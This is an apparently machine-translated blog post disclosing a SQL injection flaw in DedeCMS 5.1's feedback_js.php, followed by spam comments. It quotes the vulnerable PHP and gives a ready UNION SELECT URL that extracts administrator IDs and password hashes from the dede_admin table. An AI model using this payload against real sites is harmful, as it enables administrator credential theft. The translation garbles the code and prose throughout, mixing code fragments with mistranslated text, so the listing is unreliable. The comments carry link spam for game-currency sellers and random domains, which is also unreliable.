DEDECMS 5,1 feedback_js.php 0day-0day, DEDECMS, DEDECMS 5.1 feedback_js.php, розчин для ін'єкцій, st0p-блог

DEDECMS 5,1 feedback_js.php 0day

Ця запис була розміщена на 11 жовтня 2009

Автор: st0p Rainy'Fox
Відтворюється вкажіть джерело: http://www.st0p.org http://bbs.erpangzi.com/

Ця уразливість знайдена і Rainy'Fox також доступна в разі magic_quotes_gpc = OFF

Уразливість версії: Статті Кондо 5,1
Це може бути використано для отримання облікового запису адміністратора у фоновому режимі і шифрування хеша, існують лазівки файл плюс / feedback_js.php, нефільтроване параметри $ arcurl

  ......
 0 ; $ Urlindex = 0;
 empty ( $arcID ) ) якщо (пусто ($ arcID))
 {
	 $dlist -> dsql -> GetOne ( "Select id From `#@__cache_feedbackurl` where url=' $arcurl ' " ) ; Рядок $ = $ DList -> dsql -> GetOne ("SELECT ID З` # @ __ cache_feedbackurl `, де url = '$ arcurl");
        / / Тут $ arcurl без фільтру
	 is_array ( $row ) ) $urlindex = $row [ 'id' ] ; якщо (is_array ($ рядок)) $ urlindex = $ рядка ["ID"];
       / / Представлення результатів покласти $ urlindex призначення для запиту на $ рядка ["ID"], ми можемо побудувати SQL заяви в наступних операційних
 }
 empty ( $arcID ) && empty ( $urlindex ) ) exit ( ) ; якщо (пусто ($ arcID) && порожній ($ urlindex)) вихід ();
 / / Якщо $ arcID порожній або $ urlindex порожній вихід
 ......
 empty ( $arcID ) ) $wq = " urlindex = ' $urlindex ' " ; якщо (пусто ($ arcID)) $ WQ = "urlindex = '$ urlindex";
 / / $ ArcID порожній, тільки над результатами реалізації буде призначений до $ WQ в наступних операцій.
 = " aid=' $arcID ' " ; ще $ WQ = "допомога = '$ arcID";
  "select * from `#@__feedback` where $wq and ischeck='1' order by dtime desc" ; $ Строк запитів = "SELECT * FROM` # @ __ зворотного зв'язку `, де $ WQ і ischeck = '1 'замовлення DTIME за убуванням";
 Init ( ) ; $ DList -> Init ();
 SetSource ( $querystring ) ; $ DList -> SetSource ($ рядок запиту);
 ......

Зверніть увагу на використання, гей, закритий я використовую два союзи

  http://st0p/dedecms51/plus/feedback_js.php?arcurl = 'UNION SELECT "та 1 = 2 UNION SELECT 1,1,1, ідентифікатор користувача, 3,1,3,3, інвалідів, 1,1,3 , 1,1,1,1,1 від dede_admin де 1 = 1, об'єднання SELECT * FROM dede_feedback де 1 = 2 і'' = '"від dede_admin де'' ='

На жаль, навіть і Rainy'Fox цей хлопець, щоб знайти мету випробування, коли насправді він сказав може в magic_quotes_gpc = про те, коли через .... ця ідея дуже Ю.Д. .. занадто страшним, щоб дійсно досягти цієї сектор мережі повинні хаос, багато програм за замовчуванням в PHP magic_quotes_gpc виключена, будемо називати свою частину втечі ... ви дійсно можете домогтися, щоб це кошмар PHP програма ...

· Дізнатися, бойові мистецтва коди

348 Відповідей на "DEDECMS 5,1 feedback_js.php 0day"

За хостинг на 19 листопада 2009 | Відповісти
зело intiresno, Hvala
За AKfour сім на 1 грудня 2009 | Відповісти
Я стою тут сьогодні принижений завдання, що стоїть перед [url = http://www.bawwgt.com] Dofus Kamas [/ url], вдячний за довіру, яку Ви дарували, пам'ятаючи про жертви, принесені нашими [url = http:/ / www.bawwgt.com] порно Kamas Dofus [/ URL]. Я дякую президента [url = http://www.bawwgt.com] Dofus влади вирівнювання [/ url] за його послуги [url = http://www . bawwgt.com] придбати Dofus Kamas [/ url], а також за його великодушність і співробітництво протягом усього періоду.
За wsewtoexg на 3 грудня 2009 | Відповісти
CMvNTO honoyhhectcq , [url = http://bqjmruocdqwf.com/ bqjmruocdqwf [/ url], [посилання = http://mdbdixbzaeau.com/] mdbdixbzaeau [/ посилання], http://njofsuttytxm.com/
За Tedy на 5 грудня 2009 | Відповісти
Тільки 34 днів до DOFUS 2.0! 2 грудня буде тут перш, ніж ми знаємо [url = http://www.bawwgt.com/fr] Dofus Kamas [/ URL]. В [url = http://www.bawwgt.com / FR] Dofus Kamas moins chers [/ URL] кожен гравець відкриє абсолютно нові DOFUS досвіду. [url = http://www.bawwgt.com/fr] Acheter де Dofus Kamas [/ url] повинні бути задоволені звіти і форумах. Проте [url = http://www.bawwgt.com/fr] ACHAT Dofus Kamas [/ URL], там ¡ ¯ завжди є кілька наших дорогих гравців на форумах.
За Страттера купити на 13 грудня 2009 | Відповісти
це прохолодно новина. Спасибо.
За Seengart на 14 грудня 2009 | Відповісти
да ... інформативний стиль ..
За Наташа-мережі на 16 грудня 2009 | Відповісти
Vdaka дза zaujimavy блог
За ConradSimone на 8 березня 2012 | Відповісти
Що ж, це дуже цікаво indeed.Would люблю читати трохи більше про це. Помилуйтеся цінну інформацію, ви пропонуєте у своїх статтях.
Конрад Сімоне